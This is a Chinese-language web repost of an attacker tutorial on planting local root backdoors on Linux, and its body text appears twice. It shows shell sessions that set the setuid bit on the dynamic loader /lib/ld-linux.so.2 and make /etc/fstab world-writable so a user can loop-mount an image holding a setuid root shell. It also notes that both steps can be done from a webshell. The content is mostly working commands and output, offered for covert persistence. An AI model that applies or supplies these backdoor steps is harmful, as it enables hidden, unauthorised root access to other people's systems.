linux下留本地后門(mén)的兩個(gè)方法
發(fā)布日期:2021-12-15 11:38 | 文章來(lái)源:源碼之家
方法一:setuid的方法,其實(shí)8是很隱蔽。看看過(guò)程:
[root@localdomain lib]# ls -l |grep ld-linux
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so
lrwxrwxrwx 1 root root13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.2
[root@localdomain lib]# chmod s ld-linux.so.2
[root@localdomain lib]# ls -l |grep ld-2.7.so
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so
[root@localdomain lib]#
我們這里給/lib/ld-linux.so.2這個(gè)文件(在FC8里,它指向ld-2.7.so這個(gè)文件)加了setuid屬性。然后我們看怎么利用它。
普通用戶登錄,測(cè)試下權(quán)限:
[xiaoyu@localdomain ~]$ whoami
xiaoyu
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`
root
[xiaoyu@localdomain ~]$
恩,嘿嘿 root了吧,具體怎么生成root shell,你們自己去想吧,凡事都不要點(diǎn)得太透,對(duì)吧。呵呵,可以肯定的一點(diǎn),/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash檢查euid 和uid,看是否相等...OK,不多說(shuō)了。
方法二:
看過(guò)程:
[root@localdomain etc]# chmod a w /etc/fstab
[root@localdomain etc]#
這就留好了。此方法比較XXOXX,估計(jì)沒(méi)幾個(gè)管理員知道。利用方法演示下
[xiaoyu@localdomain ~]$ ls -l /etc/fstab
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab
[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab
然后從本機(jī)把一個(gè)文件到目標(biāo)機(jī)器上去,這里我們命名為test
[xiaoyu@localdomain tmp]$ ls -l test
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test
[xiaoyu@localdomain tmp]$ mount test
[xiaoyu@localdomain tmp]$ cd /mnt
[xiaoyu@localdomain mnt]$ ls -l
total 18
drwx------ 2 root root 12288 2008-04-20 05:44 lost found
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root
[xiaoyu@localdomain mnt]$ ./root
sh-3.2#
看到了吧,從普通用戶提升到root了。呵呵。
test這個(gè)文件baidu貌似木有上傳功能撒,木辦法傳
貌似可能有人說(shuō)本地后門(mén)木啥鳥(niǎo)用,但是你要搞清楚:一個(gè)webshell里面就可以完成這一切....
[root@localdomain lib]# ls -l |grep ld-linux
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so
lrwxrwxrwx 1 root root13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.2
[root@localdomain lib]# chmod s ld-linux.so.2
[root@localdomain lib]# ls -l |grep ld-2.7.so
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so
[root@localdomain lib]#
我們這里給/lib/ld-linux.so.2這個(gè)文件(在FC8里,它指向ld-2.7.so這個(gè)文件)加了setuid屬性。然后我們看怎么利用它。
普通用戶登錄,測(cè)試下權(quán)限:
[xiaoyu@localdomain ~]$ whoami
xiaoyu
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`
root
[xiaoyu@localdomain ~]$
恩,嘿嘿 root了吧,具體怎么生成root shell,你們自己去想吧,凡事都不要點(diǎn)得太透,對(duì)吧。呵呵,可以肯定的一點(diǎn),/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash檢查euid 和uid,看是否相等...OK,不多說(shuō)了。
方法二:
看過(guò)程:
[root@localdomain etc]# chmod a w /etc/fstab
[root@localdomain etc]#
這就留好了。此方法比較XXOXX,估計(jì)沒(méi)幾個(gè)管理員知道。利用方法演示下
[xiaoyu@localdomain ~]$ ls -l /etc/fstab
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab
[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab
然后從本機(jī)把一個(gè)文件到目標(biāo)機(jī)器上去,這里我們命名為test
[xiaoyu@localdomain tmp]$ ls -l test
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test
[xiaoyu@localdomain tmp]$ mount test
[xiaoyu@localdomain tmp]$ cd /mnt
[xiaoyu@localdomain mnt]$ ls -l
total 18
drwx------ 2 root root 12288 2008-04-20 05:44 lost found
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root
[xiaoyu@localdomain mnt]$ ./root
sh-3.2#
看到了吧,從普通用戶提升到root了。呵呵。
test這個(gè)文件baidu貌似木有上傳功能撒,木辦法傳
貌似可能有人說(shuō)本地后門(mén)木啥鳥(niǎo)用,但是你要搞清楚:一個(gè)webshell里面就可以完成這一切....
版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信